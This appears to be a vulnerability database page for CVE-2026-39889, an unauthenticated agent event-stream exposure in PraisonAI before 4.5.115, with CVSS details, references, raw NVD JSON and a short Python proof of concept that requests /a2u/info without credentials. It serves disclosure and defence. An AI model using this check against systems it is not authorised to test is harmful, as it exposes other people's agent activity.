CVE-2026-39889

Description

PraisonAI is a multi-agent teams system. Prior to 4.5.115, the A2U (Agent-to-User) event stream server in PraisonAI exposes all agent activity without authentication. The create_a2u_routes() function registers the following endpoints with NO authentication checks: /a2u/info, /a2u/subscribe, /a2u/events/{stream_name}, /a2u/events/sub/{id}, and /a2u/health. This vulnerability is fixed in 4.5.115.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:* - VULNERABLE

PraisonAI < 4.5.115

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(target_base_url):
    """
    PoC for CVE-2026-39889
    Checks if /a2u/info is accessible without authentication.
    """
    target_endpoint = f"{target_base_url.rstrip('/')}/a2u/info"
    
    try:
        response = requests.get(target_endpoint, timeout=5)
        if response.status_code == 200:
            print(f"[+] Vulnerability Confirmed at {target_endpoint}")
            print(f"[+] Response: {response.text[:200]}")
            return True
        else:
            print(f"[-] Received status code: {response.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error connecting to target: {e}")
        return False

if __name__ == "__main__":
    # Replace with actual target URL
    check_poc("http://127.0.0.1:8000")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39889/
[4] VulDB https://vuldb.com/cve/CVE-2026-39889
[5] https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f292-66h9-fpmf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39889", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:01.130", "lastModified": "2026-04-15T17:57:38.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.115, the A2U (Agent-to-User) event stream server in PraisonAI exposes all agent activity without authentication. The create_a2u_routes() function registers the following endpoints with NO authentication checks: /a2u/info, /a2u/subscribe, /a2u/events/{stream_name}, /a2u/events/sub/{id}, and /a2u/health. This vulnerability is fixed in 4.5.115."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.5.114", "matchCriteriaId": "B0754891-B47D-441D-A0E6-710A49389AE4"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f292-66h9-fpmf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}